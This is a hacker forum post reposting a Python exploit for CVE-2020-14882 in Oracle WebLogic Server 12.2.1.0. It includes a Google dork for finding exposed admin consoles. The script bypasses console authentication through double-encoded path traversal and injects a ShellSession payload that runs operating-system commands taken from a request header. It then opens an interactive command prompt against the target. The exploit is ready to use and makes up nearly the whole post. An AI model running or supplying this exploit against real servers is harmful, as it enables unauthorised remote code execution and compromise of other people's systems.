Jump to content
  • Hello visitors, welcome to the Hacker World Forum!

    Red Team 1949  (formerly CHT Attack and Defense Team) In this rapidly changing Internet era, we maintain our original intention and create the best community to jointly exchange network technologies. You can obtain hacker attack and defense skills and knowledge in the forum, or you can join our Telegram communication group to discuss and communicate in real time. All kinds of advertisements are prohibited in the forum. Please register as a registered user to check our usage and privacy policy. Thank you for your cooperation.

    TheHackerWorld Official

Oracle WebLogic Server 12.2.1.0 - RCE (Unauthenticated)

 Share


Recommended Posts

# Exploit Title: Oracle WebLogic Server 12.2.1.0 - RCE (Unauthenticated)
# Google Dork: inurl:"/console/login/LoginForm.jsp"
# Date: 01/26/2021
# Exploit Author: CHackA0101
# Vendor Homepage: https://www.oracle.com/security-alerts/cpuoct2020.html
# Version: Oracle WebLogic Server, version 12.2.1.0
# Tested on: Oracle WebLogic Server, version 12.2.1.0 (OS: Linux PDT 2017 x86_64 GNU/Linux)
# Software Link: https://www.oracle.com/middleware/technologies/weblogic-server-downloads.html
# CVE : CVE-2020-14882

# More Info: https://github.com/chacka0101/exploits/blob/master/CVE-2020-14882/README.md

#!/usr/bin/python3

import requests
import argparse
import http.client
http.client.HTTPConnection._http_vsn=10
http.client.HTTPConnection._http_vsn_str='HTTP/1.0'
parse=argparse.ArgumentParser()
parse.add_argument('-u','--url',help='url')
args=parse.parse_args()

proxies={'http':'127.0.0.1:8080'}
cmd_=""

# Headers
headers = {
	"User-Agent":"Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15;rv:73.0)Gecko/20100101 Firefox/73.0",
	"Accept":"application/json,text/plain,*/*",
	"Accept-Language":"zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2",
	"Accept-Encoding":"gzip,deflate",
	"Upgrade-Insecure-Requests":"1",
	"Content-Type":"application/x-www-form-urlencoded",
	"Cache-Control":"max-age=0",
	"Connection":"close"
}

# Oracle WebLogic Server 12.2.1.0 - Unauthenticated RCE via python Explotation:
url=args.url+"""/console/images/%252E%252E%252Fconsole.portal?_nfpb=false&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec();");"""
url_=args.url+"/console/images/%252E%252E%252Fconsole.portal"

form_data_="""_nfpb=false&_pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession("weblogic.work.ExecuteThread executeThread=(weblogic.work.ExecuteThread)Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
String cmd = req.getHeader("cmd");
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe","/c", cmd} : new String[]{"/bin/sh","-c", cmd};
if (cmd != null) {
    String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter("\\\A").next();
    weblogic.servlet.internal.ServletResponseImpl res=(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod("getResponse").invoke(req);
    res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
    res.getServletOutputStream().flush();
    res.getWriter().write("");}executeThread.interrupt();");"""

#data_ = parse.urlencode(form_data_)
results1=requests.get(url,headers=headers)

if results1.status_code==200:
	print("(Load Headers...)\n")
	print("(Data urlencode...)\n")
	print("(Execute exploit...)\n")
	print("(CHackA0101-GNU/Linux)$ Successful Exploitation.\n")
	while True:
		cmd_test = input("(CHackA0101GNU/Linux)$ ")
		if cmd_test=="exit":
			break
		else:
			try:
				cmd_ = cmd_test
				headers = {
					'cmd': cmd_,
					'Content-Type':'application/x-www-form-urlencoded',
					'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36',
					'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
					'Connection':'close',
					'Accept-Encoding':'gzip,deflate',
					'Content-Length':'1244',
					'Content-Type':'application/x-www-form-urlencoded'
				}
				results_ = requests.post(url_, data=form_data_, headers=headers, stream=True).text
				print(results_)
			except:
				pass
else:
	print("(CHackA0101-GNU/Linux)$ Fail.\n")
            
Link to post
Link to comment
Share on other sites

 Share

discussion group

discussion group

    You don't have permission to chat.
    • Recently Browsing   0 members

      • No registered users viewing this page.
    ×
    ×
    • Create New...